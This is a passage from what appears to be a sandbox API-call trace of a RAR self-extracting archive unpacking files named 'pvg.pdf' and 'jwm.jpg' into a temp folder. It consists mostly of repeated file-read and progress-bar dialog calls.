nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.033] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.033] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.033] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.033] GetTickCount () returned 0x1fa07 [0068.033] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.033] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1fe, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1fe, lpOverlapped=0x0) returned 1 [0068.034] GetTickCount () returned 0x1fa07 [0068.034] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.034] SetFilePointer (in: hFile=0x1c, lDistanceToMove=859396, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1d04 [0068.034] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.034] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.034] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.034] CloseHandle (hObject=0x138) returned 1 [0068.034] SetFileAttributesA (lpFileName="pvg.pdf", dwFileAttributes=0x20) returned 1 [0068.034] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1d04 [0068.035] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.035] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.035] OemToCharA (in: pSrc="jwm.jpg", pDst=0x179cc0 | out: pDst="jwm.jpg") returned 1 [0068.035] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="jwm.jpg", cchCount2=1) returned 1 [0068.035] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="jwm.jpg", cchCount2=6) returned 1 [0068.035] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="jwm.jpg", cchCount2=-1) returned 1 [0068.035] SetFilePointer (in: hFile=0x1c, lDistanceToMove=859440, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd1d30 [0068.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="jwm.jpg") returned 8 [0068.035] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a2b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.035] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting jwm.jpg") returned 18 [0068.035] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting jwm.jpg") returned 1 [0068.035] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.035] OemToCharBuffA (in: lpszSrc="j", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="j") returned 1 [0068.035] CharToOemBuffA (in: lpszSrc="J", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="J") returned 1 [0068.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="jwm.jpg") returned 8 [0068.036] FindFirstFileW (in: lpFileName="jwm.jpg", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.036] GetLastError () returned 0x2 [0068.036] GetFileAttributesA (lpFileName="jwm.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\jwm.jpg")) returned 0xffffffff [0068.036] CreateFileA (lpFileName="jwm.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\jwm.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.036] GetFileType (hFile=0x138) returned 0x1 [0068.036] SetFilePointer (in: hFile=0x138, lDistanceToMove=516, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x204 [0068.036] SetEndOfFile (hFile=0x138) returned 1 [0068.036] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.036] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a8, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a8, lpOverlapped=0x0) returned 1 [0068.036] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.036] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.036] GetTickCount () returned 0x1fa16 [0068.036] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.036] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.036] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.036] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.036] GetTickCount () returned 0x1fa16 [0068.036] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.036] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.036] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.036] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.036] GetTickCount () returned 0x1fa16 [0068.036] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.037] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.037] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.037] GetTickCount () returned 0x1fa16 [0068.037] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.037] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.038] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.038] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.038] GetTickCount () returned 0x1fa16 [0068.038] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.038] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 